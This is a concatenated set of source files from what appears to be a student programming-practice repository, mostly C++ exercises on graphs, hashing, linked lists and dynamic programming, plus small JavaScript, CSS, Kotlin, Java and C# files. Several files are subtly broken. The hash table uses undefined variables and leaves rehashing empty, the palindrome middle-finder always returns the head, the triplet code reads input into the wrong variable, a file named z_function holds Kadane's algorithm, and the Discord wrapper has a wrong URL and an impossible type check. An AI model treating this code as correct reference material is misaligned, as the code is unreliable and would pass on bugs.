    for (auto to : adj[at])
    {
        // since it is an undirected graph, it will certainly happen
        if (to == parent)
            continue;

        if (!visited[to])
        {
            dfs(adj, root, to, at, isArtPoint);

            // this sets the low link values in just one pass
            low_link[at] = min(low_link[at], low_link[to]);

            // Articulation point found via bridge
            if (ids[at] < low_link[to])
                isArtPoint[at] = true;

            // Articulation point found via cycle
            if (ids[at] == low_link[to])
                isArtPoint[at] = true;
        }
        else // if we visit a node previouly visited, we ensures that we have the least value of lowlink to it
            low_link[at] = min(low_link[at], low_link[to]);
    }
}

vector<bool> findArtPoint(vector<vector<int>> adj, int numNodes)
{
    for (int i = 0; i < numNodes; i++)
    {
        if (!visited[i])
        {
            outEdge = 0;
            dfs(adj, i, i, -1, isArtPoint);
            isArtPoint[i] = outEdge > 1;
        }
    }

    return isArtPoint;
}


<|start_filename|>DSA/Hashing/make_hashmap.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

template<typename T>
class Node{
    public:
    string key;
    T value;
    Node<T>*next;

    Node(string key, T val)
    {
        this->key=key;
        value=val;
        next=NULL;

        if(next!=NULL)
        delete next;
    }
};

template<typename T>
class Hashtable{

    //pointer pointing to array of pointers 
    Node<T>**table;
    int curr_size;
    int table_size;

    int hash(string key)
    {
        int idx=0;
        int pow=1;

        for(int i=0;i<key.length();i++)
        {
            idx+=(key[i]*pow)%table_size;
            idx=idx%table_size;
            p=(p*27)%table_size;
        }
        return idx;

    }

    void rehash()
    {
        Node<T>**oldTable=table;
        table_size=2*table_size;
        table=new Node<T>*[table_size];

        for(int i=0;i<table_size;i++)
        table[i]=NULL;
        curr_size=0;

    //shifting elements from old to new table
        for(int i=0;i<table_size;i++)
        {
            
        }
    }

    public:
    Hashtable(int ts=10)
    {
        table_size=ts;
        table=new Node<T>*[table_size];
        curr_size=0;

        for(int i=0;i<table_size;i++)
        table[i]=NULL;
    }

    void insert(string key,T value)
    {
        int idx=hash(key);

        //create linked list
        Node<T>*n=new Node<T>(key,val);
        n->next=table[idx];
        table[idx]=n;
        curr_size++;

        //rehashing
        float load_factor=curr_size/table_size;
        if(load_factor>0.7)
        rehash();
    }

    void erase(string key)
    {

    }

    T search(string key)
    {

    }
};

int main() {
   
}


<|start_filename|>CPP/Data Structures/Linked List/palindrome.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std; 

struct Node 
{
    int data;
    Node *next;
    Node(int x)
    {
        data=x;
        next=NULL;
    }
};

Node* Iend(Node *head,int x)
{
    Node *temp=new Node(x);
    if(head==NULL)
    return temp;
    Node *curr=head;
    while(curr->next!=nullptr)
    {
        curr=curr->next;
    }
    curr->next=temp;
    return head;

}

void disp(Node* head)
{
    Node* k=head;
    if(head == nullptr)
    {
        cout<<"The LL is Empty";
        return;
    }
    while(k!=nullptr)
    {
        cout<<k->data<<" ";
        k=k->next;
    }
    return;
}
Node *findM(Node *head)
{
    if(head == nullptr || head!=nullptr)
    {
        return head;
    }
    Node *f=head, *s=head;
    while(f->next != nullptr && f->next->next !=nullptr)
    {
        s=s->next;
        f=f->next->next;
    }
    return s;
}

Node *Reverse(Node *head)
{
    if(head==nullptr||head->next==nullptr)
    {
        return head;
    }

    Node *k=Reverse(head->next);
    Node *t=head->next;
    t->next=head;
    head->next=nullptr;
    return k;
}

bool Palindrome(Node *head)
{
    if(head == NULL || head->next == nullptr)
    {
        return head;
    }
    Node *mid=findM(head);
    Node *nh=mid->next;
    // cout<<mid->data<<" "<<mid->next->data;
    mid->next=nullptr;
    nh=Reverse(nh);
    Node *i=head,*j=nh;
    bool flag=true;
    while(i != nullptr && j!=nullptr)
    {
        if(i->data != j->data)
        {
            flag=false;
            break;
        }
        i=i->next;
        j=j->next;
    }

        nh=Reverse(nh);
        mid->next=nh;

    return flag;
}

int main()
{
    int n;
    cin>>n;
    Node* head=NULL;
    for(int i=1;i<=n;i++)
    {
        int k;
        cin>>k;
        head=Iend(head,k);
    }

    if(Palindrome(head))
    {
        cout<<"The LL is Palindromic";
    }
    else
    {
        cout<<"The LL is not Palindromic";
    } 

    return 0;
}

<|start_filename|>DSA/Strings/intro.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {

    //using string datatype
    // string s;
    // cin>>s;
    // cout<<s;

    //using char array
    // char s[10];
    // for(int i=0;i<10;i++)
    // cin>>s[i];
    // for(int i=0;i<10;i++)
    // cout<<s[i];

    //using getline
    // string s2;
    // getline(cin,s2);
    // cout<<s2;

    //using vector
    vector<string>str={"y","o","u","r"};
    for(auto x:str)
    cout<<x;
}


<|start_filename|>DP/Goldmine.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
int main()
{
    int n,m;cin>>n>>m;
    int arr[n][m];

    
    for(int i=0;i<n;i++)
    {
        for(int j=0;j<m;j++)
        {
            cin>>arr[i][j];
        }
    } 
    
    int **dp;
    dp=new int*[n];
    for(int i=0;i<n;i++)
    dp[i]=new int[m];   
    for(int j=m-1;j>=0;j--)
    {
    for(int i=n-1;i>=0;i--) 
    { 
      if(j==m-1)
      {
        dp[i][j]=arr[i][j];
      } 
      else if(i==n-1)
      {
   dp[i][j]=arr[i][j]+max(dp[i][j+1],dp[i-1][j+1]);
      } 
      else if(i==0) 
      { 
  dp[i][j]=arr[i][j]+max(dp[i][j+1],dp[i+1][j+1]);
  
        } 
        else 
        {  
          
  dp[i][j]=arr[i][j]+max(dp[i][j+1],max(dp[i+1][j+1],dp[i-1][j+1]));
          
          } 
          } 
          } 
          
   int b=dp[0][0]; 
   for(int i=1;i<n;i++) 
   { 
     
      b =max(b,dp[i][0]);
     
     } 
     
     cout<<b<<endl; 
     }


<|start_filename|>Android/Retrofit demo/app/src/main/java/com/example/retrofittut/RetrofitInstance.kt<|end_filename|>
package com.example.retrofittut

import retrofit2.Retrofit
import retrofit2.converter.gson.GsonConverterFactory

object RetrofitInstance {

    val api: ToDoApi by lazy {
        Retrofit.Builder()
            .baseUrl("https://jsonplaceholder.typicode.com")
            .addConverterFactory(GsonConverterFactory.create())
            .build()
            .create(ToDoApi::class.java)
    }
}


<|start_filename|>JS/Tic-Tac-Toe Game/JS/main.js<|end_filename|>
import Game from "./Game.js"
import GameView from "./GameView.js"


let game = new Game();
let gameView = new GameView();

document.querySelector(".restart")
.addEventListener("click", () => {
   onRestartClick();
})

let tiles = document.querySelectorAll(".board-tile");
tiles.forEach((tile) => {
    tile.addEventListener("click", () => {
       onTileClick(tile.dataset.index);
    })
})


function onTileClick(i){
    //do somthing
    game.makeMove(i); 
    gameView.updateBoard(game);
}

function onRestartClick() {
    game = new Game();
    gameView.updateBoard(game);
}

gameView.updateBoard(game);

<|start_filename|>DSA/Graphs/shortest_path_in_DAG.cpp<|end_filename|>
/** Directed Acyclic graph or DAG's shortest and longest path can be found using
 * topological sort in O(v+e) **/
// We will find shortest path from start to every individual nodes

/** To find the longest path in a DAG, we first negate all the weights, and find
 * the shortest path of all the paths, then multiply the path by -1 **/

#include <bits/stdc++.h>
using namespace std;

const int MAX = INT32_MAX;

int dfs(int i, int node, vector<int> &ordering, vector<vector<pair<int, int>>> adj,
        vector<bool> &vis)
{
    vis[node] = true;
    vector<pair<int, int>> neighbour = adj[node];

    for (auto next : neighbour)
    {
        if (!vis[next.first])
            i = dfs(i, next.first, ordering, adj, vis);
    }

    ordering[i] = node; // we push the current node in the list of visited to maintain the order
    return i - 1;
}

vector<int> topologicalSort(vector<vector<pair<int, int>>> adj, int N)
{
    vector<bool> vis(N, false);
    vector<int> ordering(N, 0);
    int i = N - 1;                 // we start from last because visit the end nodes first
    for (int at = 0; at < N; at++) // we keep doing this until all the nodes are not visited
    {
        if (!vis[at])
            i = dfs(i, at, ordering, adj, vis);
    }

    return ordering;
}

// first pair contains the outgoing edges, second contains its weight
vector<int> minDistance(vector<vector<pair<int, int>>> adj, int start, int numNodes)
{
    vector<int> distance(numNodes, MAX);
    vector<int> topOrder = topologicalSort(adj, numNodes);

    distance[start] = 0;

    // We will start traversing in topological order
    for (int i = 0; i < numNodes; i++)
    {
        int nodeIndex = topOrder[i];
        if (distance[nodeIndex] != MAX)
        {
            vector<pair<int, int>> adjacentEdge = adj[nodeIndex];
            if (adjacentEdge.size() > 0)
            {
                for (auto edge : adjacentEdge)
                {
                    int newDist = distance[nodeIndex] + edge.second;
                    if (distance[edge.first] == MAX)
                        distance[edge.first] = newDist;
                    else
                        distance[edge.first] = min(distance[edge.first], newDist);
                }
            }
        }
    }

    return distance;
}

int main()
{
    int n, e;
    cout << "Enter no. nodes and edges ";
    cin >> n >> e;

    cout << "\nEnter the graph\n";

    vector<vector<pair<int, int>>> adj(n);
    for (int i = 0; i < e; i++)
    {
        int from, to, weight;
        cin >> from >> to >> weight;
        adj[from].push_back({to, weight});
    }

    int start;
    cout << "\nEnter start node ";
    cin >> start;

    cout << "\nDistance from " << start << " to every node \n";

    vector<int> dist = minDistance(adj, start, n);
    for (auto x : dist)
        cout << x << " ";
    cout << endl;
}

<|start_filename|>DSA/STL/triplets.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    int n;
    cin>>n;
    int a[n];

    for(int i=0;i<n;i++)
    cin>>n;

    int sum=18;
    unordered_set<int>s;

    //fix the first element
    for(int i=0;i<n-2;i++)
    {
         // Find pair in subarray A[i+1..n-1]
        // with sum equal to sum - A[i]
        int curr_sum=sum-a[i];
        for(int j=i+1;j<n;j++)
        {
            if(s.find(curr_sum)!=s.end())
            cout<<a[i]<<" "<<a[j]<<" "<<curr_sum-a[j];
             // If we reach here, then no triplet was found
        s.insert(a[j]);
        }
    }
}


<|start_filename|>Java_Backend/JSPLoginForm/src/main/java/com/todc/web/filter/UserMDCFilter.java<|end_filename|>
package com.todc.web.filter;


import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

import org.slf4j.MDC;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.UserDetails;


/**
 * @author <NAME> (<EMAIL>)
 */
public class UserMDCFilter implements Filter {

    private final String USER_KEY = "username";

    public void destroy() {}

    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        String username = null;

        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        if (auth != null) {
            Object principal = auth.getPrincipal();
            if (principal instanceof UserDetails) {
                username = ((UserDetails) principal).getUsername();
            } else {
                username = principal.toString();
            }

            MDC.put(USER_KEY, username);
        }

        try {
            chain.doFilter(request, response);
        } finally {
            if (username != null) {
                MDC.remove(USER_KEY);
            }
        }
    }

    public void init(FilterConfig arg0) throws ServletException {}
}


<|start_filename|>CPP/Combination Sum.cpp<|end_filename|>
//Objective is to find the number of subsets that can have the sum as target.
/*
  Lets take an example to understand it much better.
  Consider array given as arr[]={2,3,6,7};
  And target as 7.
  So possible combinations are: 
  1. [2,2,3]
  2. [7]
  So only 2 subsets are possible.
  
  NOTE -> We can choose a number any number of times i.e. Repetition is allowed.
  
  To solve such problems recursion is the best approach to go for.Now for every index we have two options 
  1. Choose the index and decrease the sum, and next time a recusrive call is made start from the same indx.
  2. Move ahead with the next index and try out the possible combinations by not including the curr element.
  
  We will need a data structure that can store the sum at every recursive call. 
  So i have made use of a vector. You can choose whatever feels right to you!!.

  So lets move on to code :)
*/
#include<bits/stdc++.h>
using namespace std;

void helper(vector<int>&arr,vector<vector<int>>&ans,vector<int>temp,int target,int start_index,int curr_sum){

        if(target == curr_sum){ans.push_back(temp);return;}  // If we find current sum to be equal to target then we can push that subset into our 'ans' array.
        if(start_index>=arr.size()){return ;}      //Base case1 - if current postion exceeds the array size then reutrn.
        if(curr_sum>target){return ;}    // Base case2- if at ith postion we see that the value of curr_sum exceeds then target then their is no meaning in moving ahead.
        temp.push_back(arr[start_index]);
        helper(arr,ans,temp,target,start_index,curr_sum+arr[start_index]); // Recursive call with current element included
        temp.pop_back();  // popping out the element
        helper(arr,ans,temp,target,start_index+1,curr_sum); //Backtrack.
}

int main(){

  vector<int>arr{2,3,6,7};
  int n=arr.size(),target=7,curr_sum=0,start_index=0,i,j;
  vector<vector<int>>ans; // To store all of the subsets.
  vector<int>temp;        // To store possible numbers that can form a subset.
  helper(arr,ans,temp,target,start_index,curr_sum);   // A helper function for recursive calls.

  cout<<"Subsets with sum as "<<target<<" are:"<<endl;
  for(i=0;i<ans.size();i++){
    for(j=0;j<ans[i].size();j++){
      cout<<ans[i][j]<<" ";
    }
    cout<<endl;
  }

}


<|start_filename|>DSA/Stacks & Queues/balanced_parenthesis.cpp<|end_filename|>
#include<iostream>
#include<stack>
#include<string>
using namespace std;


bool isBalanced(string input){

	stack<char> s;
	for(auto ch : input){

		switch(ch){
			case '(':
			case '[':
			case '{': s.push(ch);
						break;

			case ')': if(!s.empty() and s.top()=='('){
						s.pop();
					  }
					  else{
					  	return false;
					  }
					  break;

			case ']': if(!s.empty() and s.top()=='['){
						s.pop();
					  }
					  else{
					  	return false;
					  }
					  break;

			case '}': if(!s.empty() and s.top()=='{'){
						s.pop();
					  }
					  else{
					  	return false;
					  }
					  break;
			default : continue;	  
		}
	}

	if(s.empty()==true){
		return true;
	}
	return false;
}



int main(){
	string s = "{ a + (b+c) + ([d+e]*f)) } + k`";//{ a + (b+c) + ([d+e]*f)) } + k";

	if(isBalanced(s)){
		cout<<"Balanced!"<<endl;
	}
	else{
		cout<<"Not Balanced "<<endl;

	}
return 0;
}

<|start_filename|>Java/rotate_array_180_degrees.java<|end_filename|>
package main;

import java.util.Scanner;


public class rotate_array_180_degrees {
    public static void main(String[] args) {
        Scanner scan =  new Scanner(System.in);
        System.out.println("=== Rotate by 180 degrees ===");
        System.out.printf("Please input your total ordo m x n: ");
        int m = scan.nextInt();
        int n = scan.nextInt();
        int[][] arr = new int[m][n];

        System.out.printf("Input array elements %d x %d \n", m, n);
        for (int i = 0; i < m; i++) {
            for (int j = 0; j < n; j++) {

                arr[i][j] = scan.nextInt();

            }
        }

        for (int i = arr.length-1; i >= 0; i--) {
            for (int j = arr.length-1; j >= 0; j--) {
                System.out.printf("%d ",arr[i][j]);

            }
            System.out.printf("\n");
        }
    }

}


<|start_filename|>JS/Chat App/utils/messages.js<|end_filename|>
var today = new Date();
var time = today.getHours() + ":" + today.getMinutes() ;

function formatMessage(username, text){
    return {
        username,
        text,
        time: time
    }
}

module.exports = formatMessage;


<|start_filename|>JS/Caesar_Cipher.js<|end_filename|>
// An algorithm to solve the Caesar Cipher problem.
// Example
// Input:
// text = ABCD , Key = 13
// A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
// 13 shift to A is N
// 13 shift to B is O
// 13 shift to C is P
// 13 shift to D is Q

// Output:
// NOPQ
let ceaserCipher = (str) => {
    //Deciphered reference letters
    let decoded = {
      a: 'n', b: 'o', c: 'p',
      d: 'q', e: 'r', f: 's',
      g: 't', h: 'u', i: 'v',
      j: 'w', k: 'x', l: 'y',
      m: 'z', n: 'a', o: 'b',
      p: 'c', q: 'd', r: 'e',
      s: 'f', t: 'g', u: 'h',
      v: 'i', w: 'j', x: 'k',
      y: 'l', z: 'm'    
    }
    
    //convert the string to lowercase
    str = str.toLowerCase();
    
    //decipher the code
    let decipher = '';
    for(let i = 0 ; i < str.length; i++){
      decipher += decoded[str[i]];
    }
    
    //return the output
    return decipher;
  }
console.log(ceaserCipher('attackatonce'));
console.log(ceaserCipher('prashantyadav'));

// Expected output
// "nggnpxngbapr"
// "cenfunaglnqni"

<|start_filename|>C#/PlayerDeathDetectSystem.cs<|end_filename|>
using Unity.Entities;
using Unity.Transforms;


/// <summary>
/// Example System for using EntityCommandBuffer in UnityDOTS
/// </summary>
[UpdateAfter(typeof(BulletTriggerSystem))]
public class PlayerDeathDetectSystem : SystemBase
{
    private EndSimulationEntityCommandBufferSystem endSimulationEntityCommandBufferSystem;

    protected override void OnCreate()
    {
        endSimulationEntityCommandBufferSystem = World.GetExistingSystem<EndSimulationEntityCommandBufferSystem>();
    }

    protected override void OnUpdate()
    {
        var ecb = endSimulationEntityCommandBufferSystem.CreateCommandBuffer().AsParallelWriter();

        Entities.WithAll<Player>().ForEach(
            (int entityInQueryIndex, Entity entity, in Health health, in Translation translation) =>
            {
                if (health.CurrentHp > 0) return;
                ecb.DestroyEntity(entityInQueryIndex, entity);
            }).ScheduleParallel();

        
        endSimulationEntityCommandBufferSystem.AddJobHandleForProducer(Dependency);
    }
}

<|start_filename|>JS/ApplePlayer/CSS/style.css<|end_filename|>
*,
*::before,
*::after {
    margin: 0;
    padding: 0%;
    box-sizing: border-box;
}

html{
    font-size: 62.5%;
    font-family: "Jost", sans-serif;
}

.main_div {
    width: 100vw;
    height: 100vh;
    background-color: #f6f6f6;
    display: grid;
    place-items: center;
}

.music_container{
    width: 35rem;
    height: 55rem;
    background-color: #ffffff;
    border-radius: 2rem;
    box-shadow: 0 1.2rem 3rem 0.5rem rgba(0, 0, 0, 0.2);
    padding: 3rem;
    text-align: center;
}

.music_container #title{
    text-transform: uppercase;
    letter-spacing: 0.2rem;
    word-spacing: 0.5rem;
    color: #171717;
    margin: 2rem 0 0.5rem 0;
    font-size: 2.5rem;
    font-weight: 500;
    text-shadow: 0 0.3rem 0.5rem rgba(0, 0, 0, 0.3);
}

.music_container #artist{
    color: #cccaca;
    text-transform: capitalize;
    letter-spacing: 0.1rem;
    font-size: 2rem;
    margin-bottom: 4rem;
    font-weight: 300;
}

.img_container {
    width: 25rem;
    height: 25rem;
    margin: auto;
} 

img {
    /* make the object fit and circle */
    width: 100%;
    height: 100%;
    border-radius: 50%;
    object-fit: cover;
    box-shadow: 0 1.2rem 3rem 0.5rem rgba(0, 0, 0, 0.4);
}

.music_controls {
    width: 20rem;
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin: auto;
    margin-top: 1rem;
}

.music_controls .fas {
    color: #111111;
    font-size: 2rem;
    cursor: pointer;
    filter: drop-shadow(0 1.2rem 3rem 0.5rem rgba(0, 0, 0, 0.4));
}

.music_controls .main_button{
    width: 5rem;
    height: 5rem;
    border-radius: 50%;
    background-color: #111111;
    color: #f6f6f6;
    /* add display flex to center the icons */
    display: flex;
    justify-content: center;
    align-items: center;
    font-size: 1.4rem;
}

.music_controls .fas:hover {
    color: grey;
}

.music_controls .fa-play:hover{
    background-color: #f6f6f6;
    color: black;
    box-shadow: 0 1rem 2rem 0.2rem rgba(0, 0, 0, 0.4);
}

/*anime class to animate*/
.anime {
    animation: rotatePlayer 3s linear infinite;
}

@keyframes rotatePlayer {
    from { transform: rotate(0deg); }
    to {
        transform: rotate(360deg);
    }
}


/*progress style*/

.progressbar_container{
    width: 100%;
    height: auto;
    padding: 1rem 0;
    margin-top: 1rem;
}

.progress_div{
    width: 100%;
    height: 0.5rem;
    box-shadow: 0 1px 2px rgba(0, 0, 0, 0.07), 0 2px 4px rgba(0, 0, 0, 0.07), 0 4px 8px rgba(0, 0, 0, 0.07), 0 8px 16px rgba(0, 0, 0, 0.07), 0 16px 32px rgba(0, 0, 0, 0.07), 0 32px 64px rgba(0, 0, 0, 0.07);
    border-radius: 4rem;
    position: relative;
    margin-top: 0.5rem;
    transition: all 1s linear;
    -moz-transition: all 1s linear;
    -o-transition: all 1s linear;
    -webkit-transition: all 1s linear;
    cursor: pointer;
    -webkit-appearance: none;
    appearance: none;
}

.progress {
    position: absolute;
    top: 0;
    width: 0;
    height: 100%;
    background-color: #000;
    border-radius: 4rem;
    /* transition: width 1s linear;
    -moz-transition: width 1s linear;
    -o-transition: width 1s linear;
    -webkit-transition: width 1s linear; */
    cursor: pointer;
    -webkit-appearance: none;
    appearance: none;
}


.progress_duration_meter{
    display: flex;
    justify-content: space-between;
    font-size: 1.2rem;
}

<|start_filename|>JS/moving_car_animation/style.css<|end_filename|>
@import url('https://fonts.googleapis.com/css2?family=Kiwi+Maru:wght@400;500&display=swap');
body{
    margin:0;
    background-image: linear-gradient(to top, #1e3c72 0%, #1e3c72 1%, #2a5298 100%);
    overflow-y: hidden;
}
.night{
    height: 80vh;
    width: 70vw;
    margin: 5rem auto;
    background: url(Img_1.png);
    background-size: cover;
    position: relative;
    box-shadow: 1px 2px 60px rgba(0,0,0,0.4);
    overflow-x: hidden;
}
#instruction{
   position: absolute;
   font-size: large;
   font-family: 'Kiwi Maru', serif;
   background: transparent;
   color: darkgray;
   left: 1%;
   top: 1%;
   box-shadow: 1px 2px 60px rgba(0,0,0,0.4);
}
.surface{
    height: 140px;
    width: 500%;
    background: url(Img_02.png);
    display: block;
    position: absolute;
    bottom: 0%;
    left: 0%;
    background-repeat: repeat-x;
}

.car{
    position: absolute;
    bottom: 8.5%;
    left: 25%;
    
}
@keyframes movement{
    100%{
        transform:translateX(-2950px);
    }
}
@keyframes carmove{
    100%{
        transform:translateY(-1px);
    }
    50%{
        transform: translateY(2px);
    }
    0%{
        transform: translateY(-1px);
    }
}
.movement{
    animation: movement 8s linear infinite;
}
.carmove{
    animation: carmove 1s linear infinite;
}

<|start_filename|>CPP/PeakElement.cpp<|end_filename|>
// Find a peak element's index in an array

#include<bits/stdc++.h>
using namespace std;

int getPeakElement(vector<int> &nums) {

    int n = nums.size();

    if (n == 1)
        return 0;

    int low = 0, high = n - 1;

    while (low <= high) {

        int mid = low + (high - low) / 2;

        if ((mid > 0) && (mid < n -1)) {

            if ((nums[mid] >= nums[mid + 1]) && (nums[mid] >= nums[mid - 1]))
                return mid;
            else if (nums[mid - 1] > nums[mid])
                high = mid - 1;
            else
                low = mid + 1;
        }
        else if (mid == 0) {

            if (nums[mid] >= nums[mid + 1])
                return 0;
            else
                return 1;
        }
        else if (mid == n - 1) {

            if (nums[n - 1] >= nums[n - 2])
                return n - 1;
            else
                return n - 2;
        }
    }
}

int main() {

    int n;
    cout << "Enter the number of elements: ";
    cin >> n;

    vector<int> nums;

    cout << "Enter " << n << " elements: ";
    for (int i = 0; i < n; ++i) {
        int x;
        cin >> x;
        nums.emplace_back(x);
    }

    int res = getPeakElement(nums);
    cout << "Peak element index: " << res << '\n';

    return 0;
}

<|start_filename|>CPP/Leet Code Solutions/merge-sorted-array/merge-sorted-array.cpp<|end_filename|>
// Method - 1
class Solution {
public:
    void merge(vector<int>& nums1, int m, vector<int>& nums2, int n) {
        for(int i=0;i<n;i++){
            nums1[i+m] = nums2.at(i);
        }
        sort(nums1.begin(),nums1.end());
        return;
    }
};

// Method - 2
class Solution {
public:
    void merge(vector<int>& nums1, int m, vector<int>& nums2, int n) {
        nums1.resize(m);
        for(int i=0;i<n;i++){
            nums1.push_back(nums2.at(i));
        }
        sort(nums1.begin(),nums1.end());
        return;
    }
};


<|start_filename|>CPP/Data Structures/math/digits_in_factorial.cpp<|end_filename|>
// { Driver Code Starts
//Initial Template for C++


#include<bits/stdc++.h>
using namespace std;

 // } Driver Code Ends
//User function Template for C++

class Solution{
    public:
    int digitsInFactorial(int num)
    {
           if (num < 0){
      return 0;
   }
   // base case
   if (num <= 1){
      return 1;
   }
   // else iterate through num and calculate the
   // value
   double d = 0;
   for (int i=2; i<=num; i++){
      d += log10(i);
   }
   return floor(d) + 1;
}
 
};
// { Driver Code Starts.

int main()
{
    int T;
    
    //taking testcases
    cin>>T;
    while(T--)
    {
        int N;
        
        //taking N
        cin>>N;
        Solution ob;
        //calling method digitsInFactorial()
        cout<<ob.digitsInFactorial(N)<<endl;
    }
    return 0;
}
  // } Driver Code Ends

<|start_filename|>DSA/DSA-VIT/BSTs/binary_tree.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

class node{
public:
	int data;
	node*right;
	node*left;

	node(int d)
	{
		data=d;
		node*right=NULL;
		node*left=NULL;
	}
};

node* build_tree()
{
	int d;
	cin>>d;
	if(d==-1)
		return NULL;
	node* root=new node(d);
	root->right=build_tree();
	root->left=build_tree();
	return root;
}

void print(node*root)
{
	if(root==NULL)
		return;
	cout<<root->data<<" ->";
	print(root->right);
	print(root->left);
}

int main()
{
	node*root=build_tree();
	print(root);

	return 0;
}

<|start_filename|>DSA/Recursion/linear_search.cpp<|end_filename|>
#include <iostream>
using namespace std;

int search(int *a,int n,int key)
{
    if(n==0)
    return -1;

    //key present at 1st index of an array
    if(a[0]==key)
    return 0;
    
    int i=search(a+1,n-1,key);
    if(i==-1)
    return -1;

    return i+1;
}

int main() {
   int n,i;
   cin>>n;
   int arr[n];
   for(i=0;i<n;i++)
   cin>>arr[i];

   int key;
   cin>>key;

   cout<<search(arr,n,key);
}

<|start_filename|>CPP/Data Structures/math/addition_under_modulo.cpp<|end_filename|>
//https://practice.geeksforgeeks.org/problems/addition-under-modulo/1/?track=ppc-mathematics&batchId=221

#include<bits/stdc++.h>
using namespace std;
long long sumUnderModulo(long long a,long long b)
{
    // code here
    long long m=10e9+7;
    return  (( a % m ) + ( b % m )) % m;
    
}

// { Driver Code Starts.
int main() {
	int T;
	cin>>T;
	while(T--)
	{
	    long long a;
	    long long b;
	    cin>>a>>b;
	    cout<<sumUnderModulo(a,b)<<endl;
	}
	return 0;
}  // } Driver Code Ends

<|start_filename|>CPP/z_function.cpp<|end_filename|>
#include<iostream> 
#include<vector>
#include<climits> 

using namespace std; 
  
int kadane(vector<int> &a) 
{ 
	int n=a.size(),msf=INT_MIN,meh=0;
  	
  	for(int i=0;i<n;i++)
  	{
  		meh+=a[i];
  		if(msf<meh)
  			msf=meh;
  		if(meh<0)
  			meh=0;
  	}
  	return msf; 
} 

int main() 
{ 
	cout<<"\nEnter the size of the array : ";
	int n;
	cin>>n;
	cout<<"\nEnter the elements of the array : ";
	vector<int> a(n);
	for(int i=0;i<n;i++)
		cin>>a[i];
	int ans=kadane(a);
	cout<<"\nMaximum Sub-array sum found in the array is : "<<ans<<endl;

	return 0;
}


<|start_filename|>CPP/check_if_ll_is_palindrome.cpp<|end_filename|>
#include<iostream>
#include<bits/stdc++.h>
using namespace std;

struct node{
    int data;
    struct node *next;
};

bool check_pal(struct node* head_ref){
    struct node* curr=head_ref;
    stack<int>  s;

    while(curr!=NULL){
        s.push(curr->data);
        curr=curr->next;
    }
    while(head_ref!=NULL){
        int i=s.top();
        s.pop();
        if(head_ref->data!=i){
            return false;
        }
        head_ref=head_ref->next;
    }
    return true;
}

void push(struct node** head_ref,int num){
    struct node* newnode=(struct node*)malloc(sizeof(struct node));
    newnode->data=num;
    newnode->next=(*head_ref);
    *head_ref=newnode;
}

void print(struct node* head){
    struct node* temp=head;
    while(temp!=NULL){
        printf("%d->",temp->data);
        temp=temp->next;
    }
    printf("\n");
}

int main(){
    struct node* head=NULL;
    push(&head,5);
    push(&head,7);
    push(&head,9);
    push(&head,2);
    push(&head,2);
    push(&head,9);
    push(&head,7);
    push(&head,5);
    cout<<check_pal(head);

}

<|start_filename|>JS/Discord-Api-Package/Discord.js<|end_filename|>
const fetch = require('node-fetch');
const { EventEmitter } = require('events');

const BASE_URL = 'https://discord.com/apis'

class Discord extends EventEmitter {
    constructor(options){
        super();

        let { token, version } = options;

        if(!token) throw new Error('token is missing or undefined');
        if(!version) version = 9;

        this.token = token;
        this.version = version;
    }
    async getAuditLog(options) {
            let { guild_id } = options;
            if(!guild_id) throw new Error('guild_id is missing or undefined');
            if(typeof guild_id !== "integer") throw new Error('guild_id must be an integer');
            this.id = guild_id;

            const URL = `${BASE_URL}/${this.version}/guilds/${this.id}/audit-logs`;
            const requestOptions = {
                method: "GET",
                headers:{
                    "Content-Type": "application/json",
                    "Authorization": `Bot ${this.token}`
                }
            }

            fetch(URL, requestOptions)
              .then(res => res.json())
              .then(json => {
                  console.log(json)
              })
    }
}

<|start_filename|>DSA/DP/fibonacci.cpp<|end_filename|>
#include <iostream>
using namespace std;

//recursive solution
// int fib(int n)
// {
// 	int ans;
// 	if(n<=1)
// 		return n;

// 	return ans=fib(n-1)+fib(n-2); //recurrence relation
// }

// int main()
// {
// 	/* code */

// 	int n;
// 	cin>>n;

// 	cout<<fib(n);

// 	return 0;
// }


//DP approach
int fib(int n,int dp[])
{
	if(n<=1)
		return n;

	if(dp[n]!=0)
		return dp[n];

	int ans;
	ans=fib(n-1,dp)+fib(n-2,dp);
	return dp[n]=ans;
}

int main()
{
	int n;
	cin>>n;

	int dp[100]={0};
	cout<<fib(n,dp);

	return 0;
}

<|start_filename|>CPP/three-pointer.c++<|end_filename|>
/*Count triplets with sum smaller than X 

Given an array arr[] of distinct integers of size N and a value sum, 
the task is to find the count of triplets (i, j, k), having (i<j<k) with the sum of 
(arr[i] + arr[j] + arr[k]) smaller than the given value sum.*/
// A Simple C++ program to count triplets with sum smaller
// than a given value
#include<bits/stdc++.h>
using namespace std;



long long countTriplets(long long arr[], int n, long long sum)
	{
	    sort(arr,arr+n);
	    long long count=0;
	    long long  i=0,j,k;
	    while(i<n-2)
	    {
	        j=i+1,k=n-1;
	        while(j<k)
	        {
	            if(arr[i]+arr[j]+arr[k]<sum)
	            count=count+k-j,j++;
	            else
	            k--;
	        }
	       i++; 
	    }
	  return count;  
	}
int main()
{
	int arr[] = {5, 1, 3, 4, 7};
	int n = sizeof arr / sizeof arr[0];
	int sum = 12;
	cout << countTriplets(arr, n, sum) << endl;
	return 0;
}


<|start_filename|>CPP/DoublyLinkedList.cpp<|end_filename|>
#include <iostream>
using namespace std;
  
// A doubly linked list node
struct Node {
   int data;
   struct Node* next;
   struct Node* prev;
};
  
//inserts node at the front of the list
void insert_front(struct Node** head, int new_data)
{
   //allocate memory for New node
   struct Node* newNode = new Node;
  
   //assign data to new node
   newNode->data = new_data;
  
   //new node is head and previous is null, since we are adding at the front
   newNode->next = (*head);
   newNode->prev = NULL;
  
   //previous of head is new node
   if ((*head) != NULL)
   (*head)->prev = newNode;
  
   //head points to new node
